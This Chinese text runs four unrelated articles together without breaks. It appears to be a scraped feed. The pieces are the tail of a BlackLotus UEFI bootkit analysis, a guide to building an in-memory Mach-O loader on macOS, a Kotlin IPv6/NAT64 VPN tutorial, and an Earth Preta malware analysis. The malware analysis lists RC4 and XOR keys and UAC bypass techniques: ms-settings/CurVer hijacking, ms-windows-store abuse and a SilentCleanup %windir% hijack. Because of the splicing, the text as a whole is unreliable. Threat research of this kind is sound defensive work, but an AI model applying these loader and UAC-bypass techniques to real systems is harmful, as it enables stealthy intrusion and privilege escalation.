問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。

請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。

如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。

總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例:

首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。

早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。

在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。

在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的?

接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。

為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64:

1.png

要構造加載器,我們需要檢查以下幾個字段:

magic-此字段應包含MH_magic_64的值;

Cputype-對於M1,應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。

如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示:

2.png

cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下:

3.png

如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構:

4.png

出於本文的目的,我們將關注:

segname -段的名稱,例如__TEXT;

vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段;

vmsize -要分配的虛擬內存的大小;

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量;

filesize -要從文件中復制的字節數;

maxprot-應分配給虛擬內存區域的最大內存保護值;

initprot -應分配給虛擬內存區域的初始內存保護;

nsects -遵循此段結構的節數。

要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如:

5.png

與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。

由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為:

6.png

同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助:

sectname -節的名稱,例如__text;

segname -與此節關聯的段的名稱;

addr -用於此節的虛擬地址偏移量;

size -文件中(以及虛擬內存中的)節的大小;

offset - Mach-O文件中部分內容的偏移量;

flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點:

7.png

符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的,如下所示:

8.png

同樣,我們將關注構建加載器所需的字段:

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量;

nsyms -符號(或nlist結構)的數量;

stroff -符號查找所使用的字符串的文件偏移量。

顯然,接下來我們需要知道nlist是什麼:

9.png

此結構為我們提供了有關命名符號的信息:

n_strx -從符號字符串字段到該符號字符串的偏移量;

n_value -包含符號的值,例如地址。

因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用:

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用:

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始:

13.png

使用dataoff便能找到標頭:

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段:

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量;

imports_count -導入項的數量;

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式:

15.png

可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2……

16.png

如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址:

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。

構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表:

19.png

首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下:

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型;

segment_offset-段起始地址在內存中的絕對偏移量;

page_count-page_start成員數組中的頁數;

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1):

在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。

22.png

然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。

構建加載器現在一切就緒,開始構建加載器。步驟如下:

1.分配內存區域;

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中;

3.將每個節加載到每個段中;

4.從LC_LOAD_DYLIB命令構建dylib的有序集合;

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行:

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容:

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。

隨著聯網設備數量的不斷增加,對互聯網協議(IP) 地址的需求已經超過了互聯網協議版本4 (IPv4) 地址的供應,導致採用互聯網協議版本6 (IPv6) 來減少加載IPv4 地址。

在您的虛擬專用網絡(VPN) 服務中使用IPv6 可以幫助您實現更好的安全性、支持更多功能並訪問更大的地址空間。該協議可以讓您的解決方案面向未來,使其能夠在特定的5G 網絡中運行,並支持支持IPv6 的企業和專用網絡。

在本文中,我們在解釋了IPv4 和IPv6 協議之間的差異後展示瞭如何將IPv6 支持添加到應用程序VPN。在我們的示例中,即使我們無法直接訪問IPv6 網絡,我們也會通過網絡地址轉換64 (NAT64) 添加IPv6 支持,並解釋NAT64 在IPv6 中的作用。您可以在可能無法對網絡進行細粒度控制的受限環境中使用我們在此處介紹的方法。受限環境是指只有IPv6 或IPv4 網絡可用的環境。在這樣的環境中,不可能到達存在於不受支持的地址空間中的某些目標服務器。

虛擬專用網絡簡介VPN 技術允許多台計算機通過軟件定義的虛擬網絡在互聯網上安全、私密地連接。這些虛擬網絡的創建獨立於底層物理網絡基礎設施的物理拓撲。您可以通過以下步驟實現此目的:

通過物理網絡打包和中繼VPN 數據包的虛擬網絡接口之間的隧道流量

將整個過程抽象為VPN 客戶端

這是一個簡單的VPN 設置示例:

image.png

基本的VPN 設置

在此設置中,如果客戶端設備1 想要向客戶端設備2 發送數據,則會發生以下情況:

客戶端設備1 可以使用10.0.0.2 地址通過其VPN 接口向VPN 服務器發送數據包。

接口查詢其配置信息並確定數據包的下一個目的地。當接口必須將數據包發送到另一台物理主機時,作為VPN 服務器的網絡適配器的物理接口將連同標頭一起傳輸整個數據包。

這個新數據包包含物理網絡的路由信息。

目標主機收到新數據包,解包原來的VPN 數據包,並以同樣的方式繼續路由。

這是包裝後的數據包的樣子:

image.png

包裹的VPN 數據包

請注意,VPN 接口的軟件實現生成物理接口的數據包,允許它在VPN 數據包被路由之前執行其他操作。例如,物理接口的數據包可以加密整個有效載荷,這樣物理主機就無法訪問嵌套的VPN 數據包,這是一個封裝在另一個VPN 數據包中的數據包。

這種在路由數據包之前嵌套數據包的想法也可以應用於常規數據包。以下是這個想法在這種情況下的工作方式:

VPN 服務要求操作系統通過其虛擬接口路由數據包。

VPN 接口根據其配置文件路由數據包。

例如,VPN 接口可以將數據包發送到VPN 服務器,VPN 服務器解壓縮到達的數據包,將它們代理到原始目的地,然後將響應返回給VPN 客戶端。

大多數人在考慮VPN 的工作原理時都會想到這種情況。虛擬專用網絡允許對客戶端的出站流量進行加密和代理,以提供額外的安全級別並向客戶端的互聯網服務提供商(ISP) 隱藏信息。

VPN 是在通信協議、加密和身份驗證的幫助下實現的,這些協議有助於在Internet 上安全地加密和傳輸數據。在下一節中,我們將討論哪些通信協議對於實施VPN 解決方案至關重要。

IPv4 和IPv6 概述及其與VPN 的連接大多數VPN 實施在開放系統互連模型的網絡層上運行。根據這個模型,VPN 實現處理IP 數據包並處理它們的路由。這需要VPN 網絡接口背後的軟件來實現Internet 協議,也可能需要一些傳輸層協議。

網絡協議是一組規則,描述數據的結構以及對等方應如何處理它。互聯網協議是一種特定的網絡協議,可以使互聯網上的設備之間進行通信。使用VPN 時,您通常需要使用多種協議,例如Internet 協議或傳輸控制協議(TCP),這些協議有助於通過Internet 在設備之間進行安全通信。 VPN 中使用IPv4 和IPv6 在設備之間傳輸數據。此外,已實現的TCP 可以根據從網絡接收到的原始字節重建TCP 數據包,並創建符合TCP 規則的新TCP 數據包。

實現一個網絡通信協議通常包括以下步驟:

編寫用於創建和解析數據包的函數

實現一個狀態機,它根據處理過的數據包的內容而改變

傳送數據包的方法不是協議的一部分,可以在協議實現過程之外進行處理。

現在,讓我們仔細看看兩個特定的協議:IPv4 和IPv6。這些是主要的互聯網協議,其中IPv4 是最常用的,而IPv6 是最新的。

IPv6 與IPv4:有何區別? IPv4是目前世界上使用最廣泛的協議,儘管它不是Internet 協議的最新版本。 IPv4 地址是32 位數字,以十進製表示法表示為由點分隔的四組數字;例如,192.168.0.1。

IPv4 最多支持大約43 億個唯一地址,因為地址字段只有4 個字節(或32 位)長。 IPv6使用128 位地址並提供更大的地址空間。這是IPv6 相對於IPv4 的主要優勢。由於連接互聯網的設備數量早已超過40 億大關,IPv4 的地址空間已經完全耗盡。在IPv6 網絡中,可能的地址數量為2^128,或大約340 六十億,大約是43 億的79 萬億倍。通過IPv4 網絡傳輸IPv6 流量還有幾個重要的好處:

image.png

IPv6 與IPv4 相比的優勢

基本IPv6 標頭僅包含協議運行的最重要信息。如果對等方需要在標頭中攜帶額外信息,他們可以將各種可選標頭鏈接在一起。這種方法減少了協議最常見用例的開銷,例如從A 向B 發送數據包。

image.png

IPv4 與IPv6 標頭

現在您已經知道切換到IPv6 協議的主要好處,讓我們來看看如何在IPv4 基礎設施上路由IPv6 流量。

使用IPv6 提高VPN 安全性要介紹任何協議,您需要閱讀文檔並實現狀態機和處理特定於所選協議的數據包的功能。但在此步驟中,您可能還會遇到一些問題。讓我們看一下在VPN 服務中實現IPv6 支持的標準機制。

當您允許來自IPv4 的IPv6 流量時,您可以實現以下目標:

允許客戶端應用訪問IPv6 網絡上的服務器

支持純IPv6 環境中的網絡

實施IPv6 協議的過程很簡單。 VPN 服務從其由操作系統管理的虛擬網絡接口獲取所有客戶端數據。此數據包括實際的協議標頭,直到VPN 服務必須處理的IP 標頭。 VPN 服務還必須能夠根據從虛擬網絡接口接收到的信息構建響應數據包。

使用IPv6 協議,處理數據包相當簡單:

VPN 服務會存儲原始標頭,直到它從目標服務器獲取響應。

VPN 服務通過交換源地址和目標地址並更新與負載相關的字段來重用標頭來構造響應數據包。

新標頭添加到響應數據之前,並寫回虛擬接口供操作系統處理。

您還可以使用其他編程語言在您的應用程序中實現VPN 服務,例如C/C++、Java、Python 和Rust。在本文中,我們探索了VPN 服務的Kotlin實現。當您需要實施每應用VPN 時,Kotlin 有一些好處,它允許您為每個應用創建單獨的VPN 連接以隔離網絡流量:

image.png

假設我們的VPN 服務可以直接訪問虛擬網絡接口的文件描述符。該服務通過多個套接字轉發數據包的有效負載,將數據包代理到外部世界。套接字本身和相關的元數據存儲在會話抽像中。然後,數據包由SessionHandler類處理。

以下是SessionHandler類在處理數據包時所做的事情:

解析數據包

根據存儲在相應會話中的信息決定如何處理它們

轉發數據包的內容

處理響應

在將響應放回網絡接口之前為客戶端重新打包響應

image.png

由於虛擬網絡接口由文件描述符表示,因此從中接收數據包就像從常規文件中讀取數據一樣容易:

image.png

原始字節很難處理,尤其是當您需要將它們解釋和操作為複雜的數據結構(如協議標頭)時。在Kotlin 中,可以創建可以解釋原始字節並提供用於更改標頭字段的簡單接口的精簡包裝器。此類包裝器提供與標頭中每個字段相對應的函數,提供對它們的輕鬆讀寫訪問。

您還可以將所有這些函數轉換為具有自定義getter 和setter 的字段。在這種情況下,使用包裝器的客戶端代碼看起來就像在操作常規數據類。 IP 標頭的包裝器如下所示:

classIPWrapper(bytes:ByteArray){

//wrapthebytesintotheByteBufferclassforeasierbytemanipulationandextrafunctionality

//besuretoaccountfortheByteBuffer'sstatefulnessandspecifyindicesexplicitlywhenaccessing

//thebytes

privatevalbuffer=ByteBuffer.wrap(bytes).order(ByteOrder.BIG_ENDIAN)

//theIPversionisstoredinthefirst4bitsoftheheader

varipVersion

//togetit,readthefirstbyteandshiftitby4bitstotheright

get()=(buffer.get(0).toInt()shr4)

//andtosetit,shiftthedesiredvaluetotheleftby4bitsandperformthebitwiseshiftOR

//onthefirstbyteoftheunderlyingbytearray

set(value){buffer.put(0,((valueshl4)or(buffer.get(0).toInt()and0x0F)).toByte())}

//IPv4andIPv6headerscontaindifferentfields,soifclientcodeattemptstoaccessafieldthat

//isnotpresentintheunderlyingpacket,throwanexception

varheaderLength

get()=

//checktheipversionbycallingtheipVersionmemberdeclaredearlier

if(ipVersion==4)(buffer.get(0)and0x0F)

//IPv6headerdoesnothaveafieldfortheheaderlength,sothereisnovaluethisgettercanreturn

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

set(value){

//similarly,ifthefieldisthere,setit

if(ipVersion==4)buffer.put(0,((valueand0x0F)or(buffer.get(0).toInt()and0xF0)).toByte())

//ifit'snot,throwanexception

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

}

//IPheaderscanbeofdifferentversions,andit'sconvenienttohaveasinglewrapperclass

//forbothIPv4andIPv6

varsrcIp

get()=InetAddress.getByAddress(run{

val(startPos,len)=

if(ipVersion==4)listOf(SOURCE_IP_POS_IPV4,ADDR_LEN_IPV4)

elselistOf(SOURCE_IP_POS_IPV6,ADDR_LEN_IPV6)

//whengettingtheIPaddress,simplycopythebytesthatrepresentitandpasstheresult

//intoJava'sInetAddress.getByAddressfunctionthatwilldotherestoftheparsing

buffer.array().copyOfRange(startPos,startPos+len)

})

set(value){

value.address.copyInto(

buffer.array(),

if(ipVersion==4)SOURCE_IP_POS_IPV4

elseSOURCE_IP_POS_IPV6

)

}

//dothesameforthedestinationaddress

vardestIp

get()=/*.*/

set(value)=/*.*/

//otherfieldscanbeimplementedinasimilarfashion

/*.*/

//thiswrappercanalsohavevariousconveniencefunctions;forexample,itcanprovide

//meansforeasilygettingthewrappedpacket'sheaderstoquicklycreateresponseheaders

funcopyHeaders()=/*.*/

//orhandlethechecksumcomputationsfortheIPandthenestedtransportheaders

funupdateChecksums()=/*.*/

}一旦SessionHandler 類收到數據包,它就可以將數據包字節放入IPWrapper對象並使用IPWrapper 類從IP 標頭訪問它需要的任何信息。例如,在創建響應數據包時,SessionHandler類可以簡單地複制標頭並更新字段,而不是創建一個全新的標頭:

image.png

您可以將生成的響應數據包寫回VPN 的網絡接口:

image.png

一旦SessionHandler 類將數據包的字節放入IPWrapper 類,路由軟件將解析VPN 服務生成的IP 標頭並將數據包路由到其目的地。在這種情況下,目標是本地應用程序,其出站流量已通過操作系統的路由規則重定向到VPN 的網絡接口。

現在,讓我們看看如果您只能訪問IPv4 網絡,如何檢查支持IPv6 的VPN。

使用NAT64 測試IPv6 實現雖然實施協議相對簡單,但測試才是真正挑戰的開始。那麼,NAT64、IPv4、IPv6是如何相互連接的呢?

IPv6 明顯優於IPv4,但支持IPv6 的基礎設施尚不存在。世界上許多ISP 仍然不支持IPv6,因此他們無法將IPv6 轉換為IPv4,反之亦然。因此,他們的客戶端無法訪問任何使用IPv6 的服務器。相反的情況也存在:有些網絡僅使用IPv6 運行,不處理IPv4 數據包。

要解決這些不兼容問題,您可以使用以下轉換機制之一:

image.png

IPv6 過渡機制

對於下面描述的方法,我們使用了NAT64——一種將所有40 億個IPv4 地址映射到IPv6 地址空間的保留塊的轉換機制。我們的客戶特別要求使用NAT64 在IPv4 地址和IPv6 地址之間進行轉換。

讓我們看看這種機制在實踐中是如何工作的,以及NAT64 為IPv6 做了什麼。假設連接使用不同IP 版本的網絡的路由器收到一個IPv6 數據包,其目標地址來自NAT64 地址範圍。這是接下來發生的事情:

路由器從收到的IPv6 數據包中刪除96 位長的NAT64 前綴,留下32 位的IPv4 地址。

之後,路由器為數據包創建一個新的IPv4 標頭,以便它可以繼續在網絡中傳輸。

當路由器收到IPv4 數據包並必須通過IPv6 網絡路由它時,也會發生同樣的情況:

路由器通過添加NAT64 前綴將IPv4 地址轉換為IPv6 地址。

路由器為數據包重新創建IP 標頭,然後通過IPv6 網絡路由數據包。

您可以使用這些轉換機制來測試IPv6 實現,尤其是在IPv6 網絡不可用的地方。要查看您的VPN 服務如何在純IPv4 環境中處理IPv6 數據包,請在您服務的VPN 接口上使用NAT64 範圍內的目標地址打開IPv6 套接字:

image.png

套接字傳輸

如果您的VPN 服務正常運行,它將接收這些數據包並像處理常規IPv6 數據包一樣處理它們。當這些數據包最終通過物理網絡接口進行路由時,它們將到達一個路由器,該路由器會將它們轉換為常規的IPv4 數據包。然後,您的VPN 服務將能夠從目標服務接收響應數據,為客戶端創建響應IPv6 數據包,並通過其虛擬接口發送。

結論雖然IPv4 仍然更受歡迎,但IPv6 為用戶和開發人員提供了更多好處。在本文中,我們解釋了為什麼需要在您的應用程序中將IPv4 轉換為IPv6,以及如何將對NAT64 的支持添加到您的應用程序中。在您無法完全控製網絡的受限環境中,也允許使用NAT64 將IPv6 地址映射到IPv4 目標。

經過幾個月的調查,趨勢科技的研究人員發現Earth Preta正在使用一些從未被公開的惡意軟件和用於洩露目的的有趣工具。研究人員還觀察到攻擊者正在積極地改變研究人員的工具、戰術和程序(TTP)以繞過安全解決方案。在這篇文章中,研究人員還將介紹和分析攻擊者使用的其他工具和惡意軟件。

在之前的研究中,研究人員披露並分析了Earth Preta(又名Mustang Panda)組織發起的一項新型攻擊活動。在最近的一次活動中,研究人員通過監測發現Earth Preta通過魚叉式網絡釣魚郵件和谷歌驅動器鏈接發送誘餌文件。經過幾個月的調查,研究人員發現攻擊者在這次活動中使用了一些從未公開的惡意軟件和用於洩露目的的有趣工具。

感染鏈經調查,整個攻擊始於魚叉式網絡釣魚電子郵件。經過對攻擊程序的長期調查,研究人員確定了完整的感染鏈如下所示。

1.png

完整的感染鏈

研究人員將不同的TTP分為六個階段:攻擊載體、發現、權限升級、橫向移動、命令與控制(CC)和洩露。在之前的研究中,研究人員在第一階段(攻擊載體)涵蓋了大多數新的TTP和惡意軟件。但是,研究人員觀察到一些TTP已經發生了變化。在接下來的部分中,我們將重點關注更新後的攻擊載體及其後續階段。

攻擊載體之前Earth Preta使用的攻擊載體,研究人員將它們分為三種類型(DLL側加載、快捷鏈接和偽文件擴展名)。從2022年10月和11月開始,研究人員觀察到攻擊者開始改變研究人員的TTP,以部署TONEINS、TONESHELL和PUBLOAD惡意軟件和QMAGENT惡意軟件。研究人員認為,攻擊者正在使用這些新技術逃避。

Trojan.Win32.TONEINS根據研究人員之前的觀察,TONEINS和TONESHELL惡意軟件是從嵌入電子郵件正文的谷歌驅動器鏈接下載的。為了繞過電子郵件掃描服務和電子郵件網關解決方案,谷歌驅動器鏈接現在已經嵌入到誘餌文件中。該文件誘使用戶下載帶有嵌入式鏈接的受密碼保護的惡意文件。然後可以通過文件中提供的密碼在內部提取文件。通過使用此技術,攻擊背後的惡意攻擊者可以成功繞過掃描服務。

2.png

一份誘餌文件,其中嵌入了谷歌驅動器鏈接和密碼

在新的攻擊載體中,整個感染流程已更改為下圖所示的程序。

3.png

攻擊載體的感染流

4.png

新攻擊載體中的文件

在分析下載的文件後,研究人員發現這是一個惡意RAR文件,包含TONEINS惡意軟件libcef.dll和border.docx中的TONESHELL malware ~List of terrorist personnel 。它們的感染流程類似於之前報告中的攻擊載體類型C,唯一的區別是偽造的.docx文件具有XOR加密內容,以防止被檢測到。例如,~$Evidence information.docx是一個偽裝成Office Open XML文件的文件。因此,它似乎是無害的,甚至可以通過使用7-Zip等解壓軟件打開。

攻擊者在一個文件的ZIPFILERECORD結構中隱藏了一個PE文件。 TONEINS惡意軟件libcef.dll將在XOR操作中用一個字節解密該文件,找到PE頭,並將有效負載放置到指定的路徑。

5.png

在對最後一個ZIPFILECECORD結構中的frData成員進行解密後,將顯示PE文件

6.png

TONEINS的解密函數

感染流的後續行為通常與之前的分析相同,更多的細節我們之前已經介紹過。

Trojan.Win32.PUBLOAD在最近的案例中,惡意軟件PUBLOAD也是通過嵌入在誘餌文件中的谷歌驅動器鏈接傳播的。

7.png

美國大使館的誘餌邀請函

自2022年10月以來,研究人員一直在觀察PUBLOAD的一種新變體,該變體使用偽造的HTTP標頭來傳輸數據,LAC的報告也討論了這一點。與之前的PUBLOAD變體不同,它在數據包中預先準備了一個具有合法主機名的HTTP標頭。研究人員認為,攻擊者試圖在正常流量中隱藏惡意數據。 HTTP正文中的數據與過去的變體相同,後者俱有相同的魔法字節17 03 03和加密的受害者信息。研究人員能夠成功地從實時CC服務器中檢索到有效負載,這使得我們能夠繼續分析。

8.png

PUBLOAD HTTP變體的CC流量

一旦接收到有效負載,它將檢查前三個魔術字節是否為17 03 03,以及接下來的兩個字節是否為有效載荷的大小。然後,它將使用預定義的RC4密鑰78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 2000 00 00 00 00 00 00 00 00解密加密的有效負載,該密鑰與PUBLOAD加載程序中使用的密鑰相同。

9.png

從PUBLOAD HTTP變體檢索到的第一個有效負載

解密之後,它檢查解密有效負載的第一個字節是否為0x06。解密的有效負載包含用字節23 BE 84 E1 6C D6 AE 52 90進行XOR加密的另一個有效負載。

10.png

從PUBLOAD HTTP變體檢索到的第二個有效負載

解密後,還有另一個支持數據上傳和命令執行的最終後門負載。

11.png

PUBLOAD HTTP變體的最終有效負載

12.png

PUBLOAD HTTP變體中的命令代碼

此外,研究人員還在PUBLOAD示例中發現了一些有趣的調試字符串和事件名稱。

13.png

PUBLOAD中的事件名稱

14.png

PUBLOAD中的調試字符串

總之,研究人員認為新的TONESHELL和PUBLOAD文件一直在迭代,且有了一些共同之處。例如,為了繞過防病毒掃描,它們現在都被放置在誘餌文件中(如穀歌硬盤鏈接)。

攻擊過程一旦攻擊者獲得了對受害者環境的訪問權限,研究人員就可以通過以下命令開始檢查環境:

15.png

權限提昇在這次活動中,研究人員發現了Windows 10中用於UAC繞過的幾個工具。接下來我們將一一介紹。

HackTool.Win 32.ABPASSHackTool.Win32.ABPASS是一個用於繞過Windows 10中的UAC的工具。根據我們的分析,它重用了ucmShellRegModMethod3函數中的代碼,該函數來自一個著名的開源項目UACME。 Sophos的一份報告介紹了這一工具。

該工具接受一個參數,並將以下數據寫入註冊表:

16.png

ABPASS更改了註冊表項

它還改變了Windows處理ms-settings協議的方式,在本例中,字符串ms-settings是一個編程標識符(ProgID)。如果CurVer項設置在ProgID下,它將用於版本控制並將當前ProgID (ms-settings)映射到CurVer默認值中指定的ProgID。反過來,ms-settings的行為被重定向到自定義的ProgID aaabbb32。它還設置了一個新的ProgID aaabbb32及其shell打開命令。最後,執行fodhelper.exe或computerDefaults.exe來觸發ms-settings協議。

17.png

新增的ProgID aaabbb32

HackTool.Win 32.CCPASSHackTool.Win 32.CCPASS是另一個用於Windows 10 UAC繞過的工具,並類似地重用項目UACME中函數ucmMsStoreProtocolMethod中的代碼。

18.png

CCPASS和ucmMsStoreProtocolMethod中的代碼相似性

它的工作方式與ABPASS類似。然而,與ABPASS不同的是,它劫持了ms-windows存儲協議。黑客工具CCPASS的工作原理如下:

1.它禁用了協議ms-windows存儲的應用程序關聯toast。

2.它在註冊表中創建一個新的Shell;

3.它調用未記錄的API UserAssocSet來更新文件關聯;

4.它執行WSReset.exe來觸發此協議。

在Windows 10及以上版本中,系統會顯示一個新的toast對話框,用於為選定的文件類型選擇打開的應用程序。要隱藏此窗口,該工具會明顯地將新條目添加到HKCU\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToast,以禁用與協議ms-Windows存儲相關的所有Toast。

19.png

應用程序關聯toast的示例

20.png

通過註冊表隱藏應用程序關聯toast

完成此操作後,該工具開始更改ms-windows-store的shell命令,並最終使用WSReset.exe觸發它。

SilentCleanup在Windows 10中,有一個名為“SilentCleanup”的本地Windows服務。該服務具有最高權限,可以用於Windows 10 UAC繞過。通常,此服務用於運行%windir%\system32\cleanmgr.exe。但是,可以劫持環境變量%windir%並將其更改為任何路徑以實現權限升級。

21.png

濫用SilentCleanup服務的惡意命令

研究人員觀察到攻擊者使用這種技術來執行c:\users\public\1.exe。

橫向運動在這個階段,研究人員觀察到某些惡意軟件,如HIUPAN和ACNSHELL(最初由Mandiant和Sophos引入並分析),被用來自我安裝到可移動磁盤並創建反向shell。

